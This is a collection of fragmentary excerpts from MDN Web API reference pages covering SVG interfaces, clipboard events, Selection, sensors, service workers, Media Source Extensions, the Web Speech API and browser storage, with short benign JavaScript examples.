... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke=...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement' in that specification.
... candidate recommendation initial definition ...
SVGGraphicsElement: copy event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncopy the event's default action is to copy the selection (if any) to the clipboard.
... a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
... however, the handler cannot read the clipboard data.
... <input xmlns="http://www.w3.org/1999/xhtml" placeholder="paste it here"/> </foreignobject> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementsbytagname("text")[0].addeventlistener("copy", evt => { evt.clipboarddata.setdata('text/plain', document.getselection().tostring().touppercase()); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
getBBox() - Web APIs
the coordinates returned are with respect to the current svg space (after the application of all geometry attributes on all the elements contained in the target element).
... note: getbbox() must return the actual bounding box at the time the method was called—even in case the element has not yet been rendered.
... example html <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <g id="group_text_1"> <text x="5" y="16" transform="scale(2, 2)">hello world!</text> <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">hello world again!</text> </g> <!-- shows bbox in green --> <rect id="rect_1" stroke="#00ff00" stroke-width="3" fill="none"> </rect> <!-- shows boundingclientrect in red --> <rect id="rect_2" stroke="#ff0000" stroke-width="3" fill="none"></rect> </svg> javascript var rectbbox =...
...'height', bboxgroup.height); var boundingclientrectgroup = groupelement.getboundingclientrect(); rectboundingclientrect.setattribute('x', boundingclientrectgroup.x); rectboundingclientrect.setattribute('y', boundingclientrectgroup.y); rectboundingclientrect.setattribute('width', boundingclientrectgroup.width); rectboundingclientrect.setattribute('height', boundingclientrectgroup.height); specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'getbbox' in that specification.
SVGGraphicsElement: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position.
... a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property.
... to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
... </foreignobject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.clipboarddata.getdata("text/plain").touppercase(); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
SVGGraphicsElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4...
...h="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: this interface was introduced in svg 2 and replaces the svglocatable and svgtransformable interfaces from svg 1.1.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggraphicselement' in that specification.
... candidate recommendation initial definition ...
SVGImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" ...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgimageelement' in that specification.
... candidate recommendation changed the inheritance from svgelement to svggraphicselement, removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable and added the crossorigin property.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgimageelement' in that specification.
SVGLineElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,2...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svglineelement' in that specification.
... candidate recommendation changed the inheritance from svgelement to svggeometryelement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svglineelement' in that specification.
SVGMaskElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,2...
... specifications specification status comment css masking module level 1the definition of 'svgmaskelement' in that specification.
... candidate recommendation removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmaskelement' in that specification.
SVGNumber - Web APIs
WebAPISVGNumber
an svgnumber object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... note: if the svgnumber is read-only, a domexception with the code no_modification_allowed_err is raised on an attempt to change the value.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgnumber' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgnumber' in that specification.
SVGPathSeg - Web APIs
svg path segment interface this is a base interface that corresponds to a single command within a path data specification.
... pathseg_lineto_rel = 5 pathseg_curveto_cubic_abs = 6 pathseg_curveto_cubic_rel = 7 pathseg_curveto_quadratic_abs = 8 pathseg_curveto_quadratic_rel = 9 pathseg_arc_abs = 10 pathseg_arc_rel = 11 pathseg_lineto_horizontal_abs = 12 pathseg_lineto_horizontal_rel = 13 pathseg_lineto_vertical_abs = 14 pathseg_lineto_vertical_rel = 15 pathseg_curveto_cubic_smooth_abs = 16 pathseg_curveto_cubic_smooth_rel = 17 pathseg_curveto_quadratic_smooth_abs = 18 pathseg_curveto_quadratic_smooth_rel = 19 normative document svg 1.1 (2nd edition) ...
... pathseg_lineto_vertical_abs 14 corresponds to an "absolute vertical lineto" (v) path data command.
... pathseg_lineto_vertical_rel 15 corresponds to a "relative vertical lineto" (v) path data command.
SVGPatternElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpatternelement' in that specification.
... candidate recommendation removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpatternelement' in that specification.
SVGStopElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgstopelement' in that specification.
... candidate recommendation removed inheritance from svgstylable.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgstopelement' in that specification.
SVGSwitchElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgswitchelement' in that specification.
... candidate recommendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgswitchelement' in that specification.
SVGSymbolElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgsymbolelement' in that specification.
... candidate recommendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svglangspace, svgexternalresourcesrequired, and svgstylable.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgsymbolelement' in that specification.
SVGTextElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextelement' in that specification.
... candidate recommendation removed the implemented interface svgtransformable.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextelement' in that specification.
SVGTitleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" ...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtitleelement' in that specification.
... candidate recommendation removed inheritance from svglangspace and svgstylable.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtitleelement' in that specification.
SecurityPolicyViolationEvent.sample - Web APIs
the sample read-only property of the securitypolicyviolationevent interface is a domstring representing a sample of the resource that caused the violation.
... syntax let sample = violationeventinstance.sample; value a domstring containing a sample of the resource that caused the violation, usually the first 40 characters.
... this will only be populated if the resource is an inline script, event handler, or style — external resources causing a violation will not generate a sample.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sample); }); specifications specification status comment content security policy level 3the definition of 'sample' in that specification.
Selection.modify() - Web APIs
WebAPISelectionmodify
you can specify "forward" or "backward" to adjust in the appropriate direction based on the language at the selection point.
... if you want to adjust in a specific direction, you can specify "left" or "right".
...you can move by "character", "word", "sentence", "line", "paragraph", "lineboundary", "sentenceboundary", "paragraphboundary", or "documentboundary".
...ption value="documentboundary">document boundary</option> </select> <br><br> <button>extend selection</button> javascript let select = document.queryselector('select'); let button = document.queryselector('button'); button.addeventlistener('click', modify); function modify() { let selection = window.getselection(); selection.modify('extend', 'forward', select.value); } result specifications this method is not part of any specification.
Selection.rangeCount - Web APIs
a user can normally only select one range at a time, so the rangecount will usually be 1.
... scripting can be used to make the selection contain more than one range.
...in gecko browsers, you can select multiple ranges across table cells by holding down ctrl while dragging with the mouse.
... specifications specification status comment selection apithe definition of 'selection.rangecount' in that specification.
Selection.type - Web APIs
WebAPISelectiontype
caret: the selection is collapsed (i.e.
... the caret is placed on some text, but no range has been selected).
...console.log(selection.type) will return caret or range depending on whether the caret is placed at a single point in the text, or a range has been selected.
... var selection; document.onselectionchange = function() { console.log('new selection made'); selection = document.getselection(); console.log(selection.type); }; specifications specification status comment selection apithe definition of 'selection.type' in that specification.
Sensor.activated - Web APIs
WebAPISensoractivated
the activated read-only property of the sensor interface returns a boolean indicating whether the sensor is active.
... syntax var boolean = sensorinstance.activated because sensor is a base class, activated may only be read from one of its derived classes.
... specifications specification status comment generic sensor apithe definition of 'activated' in that specification.
... candidate recommendation initial definition.
Sensor.hasReading - Web APIs
WebAPISensorhasReading
the hasreading read-only property of the sensor interface returns a boolean indicating whether the sensor has a reading.
... syntax var boolean = sensorinstance.hasreading because sensor is a base class, hasreading may only be read from one of its derived classes.
... specifications specification status comment generic sensor apithe definition of 'hasreading' in that specification.
... candidate recommendation initial definition.
Sensor.onactivate - Web APIs
WebAPISensoronactivate
the onactivate eventhandler is called when one of the sensor interface's child interfaces becomes active.
...}) because sensor is a base class, onactivate may only be used on one of its derived classes.
... specifications specification status comment generic sensor apithe definition of 'onactivate' in that specification.
... candidate recommendation initial definition.
Sensor.onerror - Web APIs
WebAPISensoronerror
the onerror eventhandler is called when an error occurs on one of the child interfaces of the sensor interface.
...}) because sensor is a base class, onerror may only be used on one of its derived classes.
... specifications specification status comment generic sensor apithe definition of 'onerror' in that specification.
... candidate recommendation initial definition.
Sensor.onreading - Web APIs
WebAPISensoronreading
the onreading eventhandler is called when a reading is taken on one of the child interfaces of the sensor interface.
...}) because sensor is a base class, onreading may only be used on one of its derived classes.
... specifications specification status comment generic sensor apithe definition of 'onreading' in that specification.
... candidate recommendation initial definition.
ServiceWorker - Web APIs
pages, workers, etc.) can be associated with the same service worker, each through a unique serviceworker object.
... event handlers serviceworker.onstatechange read only an eventlistener property called whenever an event of type statechange is fired; it is basically fired anytime the serviceworker.state changes.
...ng'; } else if (registration.active) { serviceworker = registration.active; document.queryselector('#kind').textcontent = 'active'; } if (serviceworker) { // logstate(serviceworker.state); serviceworker.addeventlistener('statechange', function (e) { // logstate(e.target.state); }); } }).catch (function (error) { // something went wrong during registration.
...} specifications specification status comment service workersthe definition of 'serviceworker' in that specification.
ServiceWorkerContainer.startMessages() - Web APIs
this can be used to react to sent messages earlier, even before that page's content has finished loading.
...it's possible to start dispatching these messages earlier by calling serviceworkercontainer.startmessages(), for example if you've invoked a message handler using eventtarget.addeventlistener() before the page has finished loading, but want to start processing the messages right away.
... note: the messages start being sent automatically when setting the handler directly using serviceworkercontainer.onmessage.
...}); navigator.serviceworker.startmessages(); specifications specification status comment service workersthe definition of 'serviceworkercontainer: startmessages()' in that specification.
ServiceWorkerGlobalScope: message event - Web APIs
controlled pages can use the serviceworker.postmessage() method to send messages to service workers.
... the service worker can optionally send a response back via the client.postmessage(), corresponding to the controlled page.
... bubbles no cancelable no interface extendablemessageevent event handler property onmessage examples in the below example a page gets a handle to the serviceworker object via serviceworkerregistration.active, and then calls its postmessage() function.
...erviceworker) { navigator.serviceworker.register('service-worker.js'); navigator.serviceworker.addeventlistener('message', event => { // event is a messageevent object console.log(`the service worker sent me a message: ${event.data}`); }); navigator.serviceworker.ready.then( registration => { registration.active.postmessage("hi service worker"); }); } the service worker can receive the message by listening to the message event: // in the service worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.source.postmessage("hi client"); }); specifications specification status service workersthe definition of 'message' in that specification...
ServiceWorkerGlobalScope.onfetch - Web APIs
the onfetch property of the serviceworkerglobalscope interface is an event handler fired whenever a fetch event occurs (usually when the windoworworkerglobalscope.fetch() method is called.) syntax serviceworkerglobalscope.onfetch = function(fetchevent) { ...
...when fired, the code returns a promise that resolves to the first matching request in the cache object.
... self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.url); event.respondwith( caches.match(event.request).then(function(response) { if (response) { console.log('found response in cache:', response); return response; } console.log('no response found in cache.
... about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }).catch(function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerRegistration.pushManager - Web APIs
examples this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
... } navigator.serviceworker.register('serviceworker.js').then( function(serviceworkerregistration) { serviceworkerregistration.pushmanager.subscribe().then( function(pushsubscription) { console.log(pushsubscription.subscriptionid); console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
...in a production environment it might make sense to // also report information about errors back to the // application server.
... console.log(error); } ); }); specifications specification status comment push apithe definition of 'pushmanager' in that specification.
ServiceWorkerRegistration.update() - Web APIs
it fetches the worker's script url, and if the new worker is not byte-by-byte identical to the current worker, it installs the new worker.
... the fetch of the worker bypasses any browser caches if the previous fetch occurred over 24 hours ago.
... example the following simple example registers a service worker example then adds an event handler to a button so you can explicitly update the service worker whenever desired: if ('serviceworker' in navigator) { navigator.serviceworker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) { // registration worked console.log('registration succeeded.'); button.onclick = function() { registration.update(); } }).catch(function(error) { // registration failed console.log('registration failed with ' + error); }); }; specifications sp...
...ecification status comment service workersthe definition of 'serviceworkerregistration.update()' in that specification.
SourceBuffer.changeType() - Web APIs
the changetype() method of the sourcebuffer interface sets the mime type that future calls to appendbuffer() should expect the new media data to conform to.
... exceptions typeerror the specified string is empty, rather than indicating a valid mime type.
... invalidstateerror the sourcebuffer is not a member of the parent media source's sourcebuffers list, or the buffer's updating property indicates that a previously queued appendbuffer() or remove() is still being processed.
... usage notes if the parent mediasource is in its "ended" readystate, calling changetype() will transition the media source to the "open" readystate and fire a simple event named sourceopen at the parent media source.
SourceBuffer.removeAsync() - Web APIs
this method can only be called when updating is false.
... if that's not the case, call abort() instead.
... async function emptysourcebuffer(msbuffer) { await msbuffer.removeasync(0, infinity).catch(function(e) { handleexception(e); } } specifications not currently part of the mse specification.
... specification status comment media source extensions recommendation initial definition.
SourceBufferList - Web APIs
the source buffer list containing the sourcebuffers appended to a particular mediasource can be retrieved using the mediasource.sourcebuffers property.
... the individual source buffers can be accessed using array operator (i.e.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" st...
... specifications specification status comment media source extensionsthe definition of 'sourcebufferlist' in that specification.
SpeechGrammarList.addFromURI() - Web APIs
note that some speech recognition services may support built-in grammars that can be specified by uri.
...the value can be between 0.0 and 1.0; if not specified, the default used is 1.0.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.addfromuri('http://www.example.com/grammar.txt'); // adds a second grammar to the list.
... specifications specification status comment web speech apithe definition of 'addfromuri()' in that specification.
SpeechRecognition.onresult - Web APIs
the onresult property of the speechrecognition interface represents an event handler that will run when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app (when the result event fires.) syntax myspeechrecognition.onresult = function() { ...
... // it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'onresult' in that specification.
SpeechRecognitionAlternative.transcript - Web APIs
for continuous recognition, leading or trailing whitespace will be included where necessary so that concatenation of consecutive speechrecognitionresults produces a proper transcript of the session.
... // it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'transcript' in that specification.
SpeechRecognitionEvent.results - Web APIs
specifically this object will contain all final results that have been returned, followed by the current best hypothesis for all interim results.
... // it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'results' in that specification.
SpeechRecognitionResultList - Web APIs
the speechrecognitionresultlist interface of the web speech api represents a list of speechrecognitionresult objects, or a single one if results are being captured in continuous mode.
... // it has a getter so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0.
... // these also have getters so they can be accessed like arrays.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresultlist' in that specification.
SpeechSynthesis - Web APIs
the speechsynthesis interface of the web speech api is the controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides.
... speechsynthesis.cancel() removes all utterances from the utterance queue.
...after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want.
...t(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesis' in that specification.
SpeechSynthesisVoice - Web APIs
properties speechsynthesisvoice.default read only a boolean indicating whether the voice is the default voice for the current app language (true), or not (false.) speechsynthesisvoice.lang read only returns a bcp 47 language tag indicating the language of the voice.
... speechsynthesisvoice.localservice read only a boolean indicating whether the voice is supplied by a local speech synthesizer service (true), or a remote speech synthesizer service (false.) speechsynthesisvoice.name read only returns a human-readable name that represents the voice.
... speechsynthesisvoice.voiceuri read only returns the type of uri and location of the speech synthesis service for this voice.
...utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisvoice' in that specification.
Storage.setItem() - Web APIs
WebAPIStoragesetItem
(safari sets the quota to 0 bytes in private mode, unlike other browsers, which allow storage in private mode using separate data containers.) hence developers should make sure to always catch possible exceptions from setitem().
... example the following function creates three data items inside local storage.
... function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'mycat.png'); } note: to see this used within a real world example, see our web storage demo.
... specifications specification status comment html living standardthe definition of 'storage.setitem' in that specification.
StorageEstimate.quota - Web APIs
the storageestimate dictionary's quota property is a conservative approximation of how much storage is allotted to the origin or web app that called storagemanager.estimate(); there may be more space available, but there will not be less.
... syntax quota = storageestimate.quota; value a numeric value specifying an approximation of the total amount of storage space available for use by the application.
... example in this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user.
...</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'quota' in that specification.
StorageManager.estimate() - Web APIs
the promise's fulfillment handler is called with a storageestimate containing the usage and quota data.
... the returned values are not exact; between compression, deduplication, and obfuscation for security reasons, they will be imprecise.
...this variance is based on factors such as: how often the user visits public site popularity data user engagement signals like bookmarking, adding to homescreen, or accepting push notifications example in this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user.
...</label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'estimate()' in that specification.
StorageQuota - Web APIs
you can get a reference to this interface using navigator.storagequota.
... methods storagequota.queryinfo returns a storageinfo object containting the current data usage and available quota information for the application.
... storagequota.requestpersistentquota requests persistent storage for the requesting application and returns a promise to an instance of storageinfo.
... specifications specification status comment quota management apithe definition of 'storagequota' in that specification.
StylePropertyMapReadOnly.forEach() - Web APIs
syntax stylepropertymapreadonly.foreach(function callback(currentvalue[, index[, array]]) { //your code }[, thisarg]); parameters callback the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
... arrayoptional the stylepropertymapreadonly thatforeach() is being called on.
... thisarg optional value to use as this (i.e the reference object) when executing callback.
... example // tbd specifications specification status comment css typed om level 1the definition of 'foreach()' in that specification.
StyleSheet - Web APIs
stylesheet.href read only returns a domstring representing the location of the stylesheet.
... specifications specification status comment css object model (cssom)the definition of 'stylesheet' in that specification.
... working draft no change from document object model (dom) level 2 style specification.
... document object model (dom) level 2 style specificationthe definition of 'stylesheet' in that specification.
